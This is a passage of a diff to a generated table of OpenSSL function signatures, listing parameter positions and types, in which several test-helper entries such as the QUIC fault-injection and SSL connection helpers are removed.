**,char *,char *) | | create_ssl_ctx_pair | 0 | OSSL_LIB_CTX * | -| (OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *) | | create_ssl_ctx_pair | 1 | const SSL_METHOD * | -| (OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *) | | create_ssl_ctx_pair | 2 | const SSL_METHOD * | -| (OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *) | | create_ssl_ctx_pair | 3 | int | -| (OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *) | | create_ssl_ctx_pair | 4 | int | -| (OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *) | | create_ssl_ctx_pair | 5 | SSL_CTX ** | -| (OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *) | | create_ssl_ctx_pair | 6 | SSL_CTX ** | -| (OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *) | | create_ssl_ctx_pair | 7 | char * | -| (OSSL_LIB_CTX *,const SSL_METHOD *,const SSL_METHOD *,int,int,SSL_CTX **,SSL_CTX **,char *,char *) | | create_ssl_ctx_pair | 8 | char * | | (OSSL_LIB_CTX *,const char *) | | CMS_ContentInfo_new_ex | 0 | OSSL_LIB_CTX * | | (OSSL_LIB_CTX *,const char *) | | CMS_ContentInfo_new_ex | 1 | const char * | | (OSSL_LIB_CTX *,const char *) | | CTLOG_STORE_new_ex | 0 | OSSL_LIB_CTX * | @@ -18221,11 +17916,6 @@ getSignatureParameterName | (OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX | 0 | OSSL_ROLE_SPEC_CERT_ID_SYNTAX ** | | (OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX | 1 | const unsigned char ** | | (OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX | 2 | long | -| (OSSL_SELF_TEST *,const char *,const char *) | | OSSL_SELF_TEST_onbegin | 0 | OSSL_SELF_TEST * | -| (OSSL_SELF_TEST *,const char *,const char *) | | OSSL_SELF_TEST_onbegin | 1 | const char * | -| (OSSL_SELF_TEST *,const char *,const char *) | | OSSL_SELF_TEST_onbegin | 2 | const char * | -| (OSSL_SELF_TEST *,unsigned char *) | | OSSL_SELF_TEST_oncorrupt_byte | 0 | OSSL_SELF_TEST * | -| (OSSL_SELF_TEST *,unsigned char *) | | OSSL_SELF_TEST_oncorrupt_byte | 1 | unsigned char * | | (OSSL_STATM *,OSSL_RTT_INFO *) | | ossl_statm_get_rtt_info | 0 | OSSL_STATM * | | (OSSL_STATM *,OSSL_RTT_INFO *) | | ossl_statm_get_rtt_info | 1 | OSSL_RTT_INFO * | | (OSSL_STATM *,OSSL_TIME,OSSL_TIME) | | ossl_statm_update_rtt | 0 | OSSL_STATM * | @@ -18583,29 +18273,6 @@ getSignatureParameterName | (PKCS12_BAGS **,const unsigned char **,long) | | d2i_PKCS12_BAGS | 0 | PKCS12_BAGS ** | | (PKCS12_BAGS **,const unsigned char **,long) | | d2i_PKCS12_BAGS | 1 | const unsigned char ** | | (PKCS12_BAGS **,const unsigned char **,long) | | d2i_PKCS12_BAGS | 2 | long | -| (PKCS12_BUILDER *) | | end_pkcs12_builder | 0 | PKCS12_BUILDER * | -| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *) | | add_certbag | 0 | PKCS12_BUILDER * | -| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *) | | add_certbag | 1 | const unsigned char * | -| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *) | | add_certbag | 2 | int | -| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *) | | add_certbag | 3 | const PKCS12_ATTR * | -| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *) | | check_certbag | 0 | PKCS12_BUILDER * | -| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *) | | check_certbag | 1 | const unsigned char * | -| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *) | | check_certbag | 2 | int | -| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *) | | check_certbag | 3 | const PKCS12_ATTR * | -| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *) | | add_keybag | 0 | PKCS12_BUILDER * | -| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *) | | add_keybag | 1 | const unsigned char * | -| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *) | | add_keybag | 2 | int | -| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *) | | add_keybag | 3 | const PKCS12_ATTR * | -| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *) | | add_keybag | 4 | const PKCS12_ENC * | -| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *) | | check_keybag | 0 | PKCS12_BUILDER * | -| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *) | | check_keybag | 1 | const unsigned char * | -| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *) | | check_keybag | 2 | int | -| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *) | | check_keybag | 3 | const PKCS12_ATTR * | -| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *) | | check_keybag | 4 | const PKCS12_ENC * | -| (PKCS12_BUILDER *,int,const char *,const PKCS12_ATTR *) | | add_secretbag | 0 | PKCS12_BUILDER * | -| (PKCS12_BUILDER *,int,const char *,const PKCS12_ATTR *) | | add_secretbag | 1 | int | -| (PKCS12_BUILDER *,int,const char *,const PKCS12_ATTR *) | | add_secretbag | 2 | const char * | -| (PKCS12_BUILDER *,int,const char *,const PKCS12_ATTR *) | | add_secretbag | 3 | const PKCS12_ATTR * | | (PKCS12_MAC_DATA *) | | PKCS12_MAC_DATA_free | 0 | PKCS12_MAC_DATA * | | (PKCS12_MAC_DATA **,const unsigned char **,long) | | d2i_PKCS12_MAC_DATA | 0 | PKCS12_MAC_DATA ** | | (PKCS12_MAC_DATA **,const unsigned char **,long) | | d2i_PKCS12_MAC_DATA | 1 | const unsigned char ** | @@ -18818,37 +18485,6 @@ getSignatureParameterName | (QLOG *,uint32_t,int) | | ossl_qlog_set_event_type_enabled | 0 | QLOG * | | (QLOG *,uint32_t,int) | | ossl_qlog_set_event_type_enabled | 1 | uint32_t | | (QLOG *,uint32_t,int) | | ossl_qlog_set_event_type_enabled | 2 | int | -| (QTEST_FAULT *,const unsigned char *,size_t) | | qtest_fault_prepend_frame | 0 | QTEST_FAULT * | -| (QTEST_FAULT *,const unsigned char *,size_t) | | qtest_fault_prepend_frame | 1 | const unsigned char * | -| (QTEST_FAULT *,const unsigned char *,size_t) | | qtest_fault_prepend_frame | 2 | size_t | -| (QTEST_FAULT *,qtest_fault_on_datagram_cb,void *) | | qtest_fault_set_datagram_listener | 0 | QTEST_FAULT * | -| (QTEST_FAULT *,qtest_fault_on_datagram_cb,void *) | | qtest_fault_set_datagram_listener | 1 | qtest_fault_on_datagram_cb | -| (QTEST_FAULT *,qtest_fault_on_datagram_cb,void *) | | qtest_fault_set_datagram_listener | 2 | void * | -| (QTEST_FAULT *,qtest_fault_on_enc_ext_cb,void *) | | qtest_fault_set_hand_enc_ext_listener | 0 | QTEST_FAULT * | -| (QTEST_FAULT *,qtest_fault_on_enc_ext_cb,void *) | | qtest_fault_set_hand_enc_ext_listener | 1 | qtest_fault_on_enc_ext_cb | -| (QTEST_FAULT *,qtest_fault_on_enc_ext_cb,void *) | | qtest_fault_set_hand_enc_ext_listener | 2 | void * | -| (QTEST_FAULT *,qtest_fault_on_handshake_cb,void *) | | qtest_fault_set_handshake_listener | 0 | QTEST_FAULT * | -| (QTEST_FAULT *,qtest_fault_on_handshake_cb,void *) | | qtest_fault_set_handshake_listener | 1 | qtest_fault_on_handshake_cb | -| (QTEST_FAULT *,qtest_fault_on_handshake_cb,void *) | | qtest_fault_set_handshake_listener | 2 | void * | -| (QTEST_FAULT *,qtest_fault_on_packet_cipher_cb,void *) | | qtest_fault_set_packet_cipher_listener | 0 | QTEST_FAULT * | -| (QTEST_FAULT *,qtest_fault_on_packet_cipher_cb,void *) | | qtest_fault_set_packet_cipher_listener | 1 | qtest_fault_on_packet_cipher_cb | -| (QTEST_FAULT *,qtest_fault_on_packet_cipher_cb,void *) | | qtest_fault_set_packet_cipher_listener | 2 | void * | -| (QTEST_FAULT *,qtest_fault_on_packet_plain_cb,void *) | | qtest_fault_set_packet_plain_listener | 0 | QTEST_FAULT * | -| (QTEST_FAULT *,qtest_fault_on_packet_plain_cb,void *) | | qtest_fault_set_packet_plain_listener | 1 | qtest_fault_on_packet_plain_cb | -| (QTEST_FAULT *,qtest_fault_on_packet_plain_cb,void *) | | qtest_fault_set_packet_plain_listener | 2 | void * | -| (QTEST_FAULT *,size_t) | | qtest_fault_resize_datagram | 0 | QTEST_FAULT * | -| (QTEST_FAULT *,size_t) | | qtest_fault_resize_datagram | 1 | size_t | -| (QTEST_FAULT *,size_t) | | qtest_fault_resize_handshake | 0 | QTEST_FAULT * | -| (QTEST_FAULT *,size_t) | | qtest_fault_resize_handshake | 1 | size_t | -| (QTEST_FAULT *,size_t) | | qtest_fault_resize_message | 0 | QTEST_FAULT * | -| (QTEST_FAULT *,size_t) | | qtest_fault_resize_message | 1 | size_t | -| (QTEST_FAULT *,size_t) | | qtest_fault_resize_plain_packet | 0 | QTEST_FAULT * | -| (QTEST_FAULT *,size_t) | | qtest_fault_resize_plain_packet | 1 | size_t | -| (QTEST_FAULT *,unsigned int,unsigned char *,size_t *,BUF_MEM *) | | qtest_fault_delete_extension | 0 | QTEST_FAULT * | -| (QTEST_FAULT *,unsigned int,unsigned char *,size_t *,BUF_MEM *) | | qtest_fault_delete_extension | 1 | unsigned int | -| (QTEST_FAULT *,unsigned int,unsigned char *,size_t *,BUF_MEM *) | | qtest_fault_delete_extension | 2 | unsigned char * | -| (QTEST_FAULT *,unsigned int,unsigned char *,size_t *,BUF_MEM *) | | qtest_fault_delete_extension | 3 | size_t * | -| (QTEST_FAULT *,unsigned int,unsigned char *,size_t *,BUF_MEM *) | | qtest_fault_delete_extension | 4 | BUF_MEM * | | (QUIC_CFQ *,QUIC_CFQ_ITEM *) | | ossl_quic_cfq_mark_tx | 0 | QUIC_CFQ * | | (QUIC_CFQ *,QUIC_CFQ_ITEM *) | | ossl_quic_cfq_mark_tx | 1 | QUIC_CFQ_ITEM * | | (QUIC_CFQ *,QUIC_CFQ_ITEM *) | | ossl_quic_cfq_release | 0 | QUIC_CFQ * | @@ -19187,17 +18823,9 @@ getSignatureParameterName | (QUIC_TSERVER *) | | ossl_quic_tserver_get0_rbio | 0 | QUIC_TSERVER * | | (QUIC_TSERVER *) | | ossl_quic_tserver_get0_ssl_ctx | 0 | QUIC_TSERVER * | | (QUIC_TSERVER *) | | ossl_quic_tserver_get_channel | 0 | QUIC_TSERVER * | -| (QUIC_TSERVER *) | | qtest_create_injector | 0 | QUIC_TSERVER * | | (QUIC_TSERVER *,..(*)(..),void *) | | ossl_quic_tserver_set_msg_callback | 0 | QUIC_TSERVER * | | (QUIC_TSERVER *,..(*)(..),void *) | | ossl_quic_tserver_set_msg_callback | 1 | ..(*)(..) | | (QUIC_TSERVER *,..(*)(..),void *) | | ossl_quic_tserver_set_msg_callback | 2 | void * | -| (QUIC_TSERVER *,SSL *) | | qtest_create_quic_connection | 0 | QUIC_TSERVER * | -| (QUIC_TSERVER *,SSL *) | | qtest_create_quic_connection | 1 | SSL * | -| (QUIC_TSERVER *,SSL *) | | qtest_shutdown | 0 | QUIC_TSERVER * | -| (QUIC_TSERVER *,SSL *) | | qtest_shutdown | 1 | SSL * | -| (QUIC_TSERVER *,SSL *,int) | | qtest_create_quic_connection_ex | 0 | QUIC_TSERVER * | -| (QUIC_TSERVER *,SSL *,int) | | qtest_create_quic_connection_ex | 1 | SSL * | -| (QUIC_TSERVER *,SSL *,int) | | qtest_create_quic_connection_ex | 2 | int | | (QUIC_TSERVER *,SSL_psk_find_session_cb_func) | | ossl_quic_tserver_set_psk_find_session_cb | 0 | QUIC_TSERVER * | | (QUIC_TSERVER *,SSL_psk_find_session_cb_func) | | ossl_quic_tserver_set_psk_find_session_cb | 1 | SSL_psk_find_session_cb_func | | (QUIC_TSERVER *,const QUIC_CONN_ID *) | | ossl_quic_tserver_set_new_local_cid | 0 | QUIC_TSERVER * | @@ -19507,9 +19135,6 @@ getSignatureParameterName | (SCT_CTX *,X509_PUBKEY *) | | SCT_CTX_set1_pubkey | 1 | X509_PUBKEY * | | (SCT_CTX *,uint64_t) | | SCT_CTX_set_time | 0 | SCT_CTX * | | (SCT_CTX *,uint64_t) | | SCT_CTX_set_time | 1 | uint64_t | -| (SD,const char *,SD_SYM *) | | sd_sym | 0 | SD | -| (SD,const char *,SD_SYM *) | | sd_sym | 1 | const char * | -| (SD,const char *,SD_SYM *) | | sd_sym | 2 | SD_SYM * | | (SFRAME_LIST *) | | ossl_sframe_list_is_head_locked | 0 | SFRAME_LIST * | | (SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int) | | ossl_sframe_list_insert | 0 | SFRAME_LIST * | | (SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int) | | ossl_sframe_list_insert | 1 | UINT_RANGE * | @@ -19686,27 +19311,6 @@ getSignatureParameterName | (SSL *,EVP_PKEY *) | | SSL_set0_tmp_dh_pkey | 1 | EVP_PKEY * | | (SSL *,GEN_SESSION_CB) | | SSL_set_generate_session_id | 0 | SSL * | | (SSL *,GEN_SESSION_CB) | | SSL_set_generate_session_id | 1 | GEN_SESSION_CB | -| (SSL *,SSL *) | | shutdown_ssl_connection | 0 | SSL * | -| (SSL *,SSL *) | | shutdown_ssl_connection | 1 | SSL * | -| (SSL *,SSL *,int) | | create_ssl_connection | 0 | SSL * | -| (SSL *,SSL *,int) | | create_ssl_connection | 1 | SSL * | -| (SSL *,SSL *,int) | | create_ssl_connection | 2 | int | -| (SSL *,SSL *,int,int,int) | | create_bare_ssl_connection | 0 | SSL * | -| (SSL *,SSL *,int,int,int) | | create_bare_ssl_connection | 1 | SSL * | -| (SSL *,SSL *,int,int,int) | | create_bare_ssl_connection | 2 | int | -| (SSL *,SSL *,int,int,int) | | create_bare_ssl_connection | 3 | int | -| (SSL *,SSL *,int,int,int) | | create_bare_ssl_connection | 4 | int | -| (SSL *,SSL *,int,long,clock_t *,clock_t *) | | doit_localhost | 0 | SSL * | -| (SSL *,SSL *,int,long,clock_t *,clock_t *) | | doit_localhost | 1 | SSL * | -| (SSL *,SSL *,int,long,clock_t *,clock_t *) | | doit_localhost | 2 | int | -| (SSL *,SSL *,int,long,clock_t *,clock_t *) | | doit_localhost | 3 | long | -| (SSL *,SSL *,int,long,clock_t *,clock_t *) | | doit_localhost | 4 | clock_t * | -| (SSL *,SSL *,int,long,clock_t *,clock_t *) | | doit_localhost | 5 | clock_t * | -| (SSL *,SSL *,long,clock_t *,clock_t *) | | doit_biopair | 0 | SSL * | -| (SSL *,SSL *,long,clock_t *,clock_t *) | | doit_biopair | 1 | SSL * | -| (SSL *,SSL *,long,clock_t *,clock_t *) | | doit_biopair | 2 | long | -| (SSL *,SSL *,long,clock_t *,clock_t *) | | doit_biopair | 3 | clock_t * | -| (SSL *,SSL *,long,clock_t *,clock_t *) | | doit_biopair | 4 | clock_t * | | (SSL *,SSL_CTX *) | | SSL_set_SSL_CTX | 0 | SSL * | | (SSL *,SSL_CTX *) | | SSL_set_SSL_CTX | 1 | SSL_CTX * | | (SSL *,SSL_CTX *,const SSL_METHOD *,int) | | ossl_ssl_init | 0 | SSL * | @@ -19919,8 +19523,6 @@ getSignatureParameterName | (SSL *,size_t) | | SSL_set_default_read_buffer_len | 1 | size_t | | (SSL *,size_t) | | SSL_set_num_tickets | 0 | SSL * | | (SSL *,size_t) | | SSL_set_num_tickets | 1 | size_t | -| (SSL *,size_t) | | create_a_psk | 0 | SSL * | -| (SSL *,size_t) | | create_a_psk | 1 | size_t | | (SSL *,size_t,size_t) | | SSL_set_block_padding_ex | 0 | SSL * | | (SSL *,size_t,size_t) | | SSL_set_block_padding_ex | 1 | size_t | | (SSL *,size_t,size_t) | | SSL_set_block_padding_ex | 2 | size_t | @@ -20532,31 +20134,6 @@ getSignatureParameterName | (SSL_CTX *,SSL *,const SSL_METHOD *) | | ossl_ssl_connection_new_int | 0 | SSL_CTX * | | (SSL_CTX *,SSL *,const SSL_METHOD *) | | ossl_ssl_connection_new_int | 1 | SSL * | | (SSL_CTX *,SSL *,const SSL_METHOD *) | | ossl_ssl_connection_new_int | 2 | const SSL_METHOD * | -| (SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *) | | create_ssl_objects | 0 | SSL_CTX * | -| (SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *) | | create_ssl_objects | 1 | SSL_CTX * | -| (SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *) | | create_ssl_objects | 2 | SSL ** | -| (SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *) | | create_ssl_objects | 3 | SSL ** | -| (SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *) | | create_ssl_objects | 4 | BIO * | -| (SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *) | | create_ssl_objects | 5 | BIO * | -| (SSL_CTX *,SSL_CTX *,SSL **,SSL **,int,int) | | create_ssl_objects2 | 0 | SSL_CTX * | -| (SSL_CTX *,SSL_CTX *,SSL **,SSL **,int,int) | | create_ssl_objects2 | 1 | SSL_CTX * | -| (SSL_CTX *,SSL_CTX *,SSL **,SSL **,int,int) | | create_ssl_objects2 | 2 | SSL ** | -| (SSL_CTX *,SSL_CTX *,SSL **,SSL **,int,int) | | create_ssl_objects2 | 3 | SSL ** | -| (SSL_CTX *,SSL_CTX *,SSL **,SSL **,int,int) | | create_ssl_objects2 | 4 | int | -| (SSL_CTX *,SSL_CTX *,SSL **,SSL **,int,int) | | create_ssl_objects2 | 5 | int | -| (SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_CTX *) | | do_handshake | 0 | SSL_CTX * | -| (SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_CTX *) | | do_handshake | 1 | SSL_CTX * | -| (SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_CTX *) | | do_handshake | 2 | SSL_CTX * | -| (SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_CTX *) | | do_handshake | 3 | SSL_CTX * | -| (SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_CTX *) | | do_handshake | 4 | SSL_CTX * | -| (SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_CTX *) | | do_handshake | 5 | const SSL_TEST_CTX * | -| (SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *) | | configure_handshake_ctx_for_srp | 0 | SSL_CTX * | -| (SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *) | | configure_handshake_ctx_for_srp | 1 | SSL_CTX * | -| (SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *) | | configure_handshake_ctx_for_srp | 2 | SSL_CTX * | -| (SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *) | | configure_handshake_ctx_for_srp | 3 | const SSL_TEST_EXTRA_CONF * | -| (SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *) | | configure_handshake_ctx_for_srp | 4 | CTX_DATA * | -| (SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *) | | configure_handshake_ctx_for_srp | 5 | CTX_DATA * | -| (SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *) | | configure_handshake_ctx_for_srp | 6 | CTX_DATA * | | (SSL_CTX *,SSL_CTX_alpn_select_cb_func,void *) | | SSL_CTX_set_alpn_select_cb | 0 | SSL_CTX * | | (SSL_CTX *,SSL_CTX_alpn_select_cb_func,void *) | | SSL_CTX_set_alpn_select_cb | 1 | SSL_CTX_alpn_select_cb_func | | (SSL_CTX *,SSL_CTX_alpn_select_cb_func,void *) | | SSL_CTX_set_alpn_select_cb | 2 | void * | @@ -20856,8 +20433,6 @@ getSignatureParameterName | (SSL_SESSION *,void **,size_t *) | | SSL_SESSION_get0_ticket_appdata | 0 | SSL_SESSION * | | (SSL_SESSION *,void **,size_t *) | | SSL_SESSION_get0_ticket_appdata | 1 | void ** | | (SSL_SESSION *,void **,size_t *) | | SSL_SESSION_get0_ticket_appdata | 2 | size_t * | -| (STANZA *,const char *) | | test_start_file | 0 | STANZA * | -| (STANZA *,const char *) | | test_start_file | 1 | const char * | | (SXNET *) | | SXNET_free | 0 | SXNET * | | (SXNET **,ASN1_INTEGER *,const char *,int) | | SXNET_add_id_INTEGER | 0 | SXNET ** | | (SXNET **,ASN1_INTEGER *,const char *,int) | | SXNET_add_id_INTEGER | 1 | ASN1_INTEGER * | @@ -22534,9 +22109,6 @@ getSignatureParameterName | (const COMP_METHOD *) | | COMP_get_type | 0 | const COMP_METHOD * | | (const COMP_METHOD *) | | SSL_COMP_get_name | 0 | const COMP_METHOD * | | (const CONF *) | | NCONF_get0_libctx | 0 | const CONF * | -| (const CONF *,const char *,OSSL_LIB_CTX *) | | SSL_TEST_CTX_create | 0 | const CONF * | -| (const CONF *,const char *,OSSL_LIB_CTX *) | | SSL_TEST_CTX_create | 1 | const char * | -| (const CONF *,const char *,OSSL_LIB_CTX *) | | SSL_TEST_CTX_create | 2 | OSSL_LIB_CTX * | | (const CONF_IMODULE *) | | CONF_imodule_get_flags | 0 | const CONF_IMODULE * | | (const CONF_IMODULE *) | | CONF_imodule_get_module | 0 | const CONF_IMODULE * | | (const CONF_IMODULE *) | | CONF_imodule_get_name | 0 | const CONF_IMODULE * | @@ -23714,7 +23286,6 @@ getSignatureParameterName | (const OSSL_CMP_MSG *) | | OSSL_CMP_MSG_dup | 0 | const OSSL_CMP_MSG * | | (const OSSL_CMP_MSG *) | | OSSL_CMP_MSG_get0_header | 0 | const OSSL_CMP_MSG * | | (const OSSL_CMP_MSG *) | | OSSL_CMP_MSG_get_bodytype | 0 | const OSSL_CMP_MSG * | -| (const OSSL_CMP_MSG *) | | valid_asn1_encoding | 0 | const OSSL_CMP_MSG * | | (const OSSL_CMP_MSG *,unsigned char **) | | i2d_OSSL_CMP_MSG | 0 | const OSSL_CMP_MSG * | | (const OSSL_CMP_MSG *,unsigned char **) | | i2d_OSSL_CMP_MSG | 1 | unsigned char ** | | (const OSSL_CMP_PKIBODY *,unsigned char **) | | i2d_OSSL_CMP_PKIBODY | 0 | const OSSL_CMP_PKIBODY * | @@ -23762,10 +23333,6 @@ getSignatureParameterName | (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | OSSL_provider_init | 1 | const OSSL_DISPATCH * | | (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | OSSL_provider_init | 2 | const OSSL_DISPATCH ** | | (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | OSSL_provider_init | 3 | void ** | -| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | filter_provider_init | 0 | const OSSL_CORE_HANDLE * | -| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | filter_provider_init | 1 | const OSSL_DISPATCH * | -| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | filter_provider_init | 2 | const OSSL_DISPATCH ** | -| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | filter_provider_init | 3 | void ** | | (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_base_provider_init | 0 | const OSSL_CORE_HANDLE * | | (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_base_provider_init | 1 | const OSSL_DISPATCH * | | (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_base_provider_init | 2 | const OSSL_DISPATCH ** | @@ -23782,14 +23349,6 @@ getSignatureParameterName | (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_null_provider_init | 1 | const OSSL_DISPATCH * | | (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_null_provider_init | 2 | const OSSL_DISPATCH ** | | (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | ossl_null_provider_init | 3 | void ** | -| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | p_test_init | 0 | const OSSL_CORE_HANDLE * | -| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | p_test_init | 1 | const OSSL_DISPATCH * | -| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | p_test_init | 2 | const OSSL_DISPATCH ** | -| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | p_test_init | 3 | void ** | -| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | tls_provider_init | 0 | const OSSL_CORE_HANDLE * | -| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | tls_provider_init | 1 | const OSSL_DISPATCH * | -| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | tls_provider_init | 2 | const OSSL_DISPATCH ** | -| (const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **) | | tls_provider_init | 3 | void ** | | (const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *) | | OSSL_CRMF_ATTRIBUTETYPEANDVALUE_dup | 0 | const OSSL_CRMF_ATTRIBUTETYPEANDVALUE * | | (const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *,unsigned char **) | | i2d_OSSL_CRMF_ATTRIBUTETYPEANDVALUE | 0 | const OSSL_CRMF_ATTRIBUTETYPEANDVALUE * | | (const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *,unsigned char **) | | i2d_OSSL_CRMF_ATTRIBUTETYPEANDVALUE | 1 | unsigned char ** | @@ -24996,7 +24555,6 @@ getSignatureParameterName | (const char *) | | X509_LOOKUP_meth_new | 0 | const char * | | (const char *) | | a2i_IPADDRESS | 0 | const char * | | (const char *) | | a2i_IPADDRESS_NC | 0 | const char * | -| (const char *) | | new_pkcs12_builder | 0 | const char * | | (const char *) | | opt_path_end | 0 | const char * | | (const char *) | | opt_progname | 0 | const char * | | (const char *) | | ossl_lh_strcasehash | 0 | const char * | @@ -25076,12 +24634,6 @@ getSignatureParameterName | (const char *,OSSL_CMP_severity *,char **,char **,int *) | | ossl_cmp_log_parse_metadata | 2 | char ** | | (const char *,OSSL_CMP_severity *,char **,char **,int *) | | ossl_cmp_log_parse_metadata | 3 | char ** | | (const char *,OSSL_CMP_severity *,char **,char **,int *) | | ossl_cmp_log_parse_metadata | 4 | int * | -| (const char *,OSSL_LIB_CTX *) | | load_cert_pem | 0 | const char * | -| (const char *,OSSL_LIB_CTX *) | | load_cert_pem | 1 | OSSL_LIB_CTX * | -| (const char *,OSSL_LIB_CTX *) | | load_csr_der | 0 | const char * | -| (const char *,OSSL_LIB_CTX *) | | load_csr_der | 1 | OSSL_LIB_CTX * | -| (const char *,OSSL_LIB_CTX *) | | load_pkimsg | 0 | const char * | -| (const char *,OSSL_LIB_CTX *) | | load_pkimsg | 1 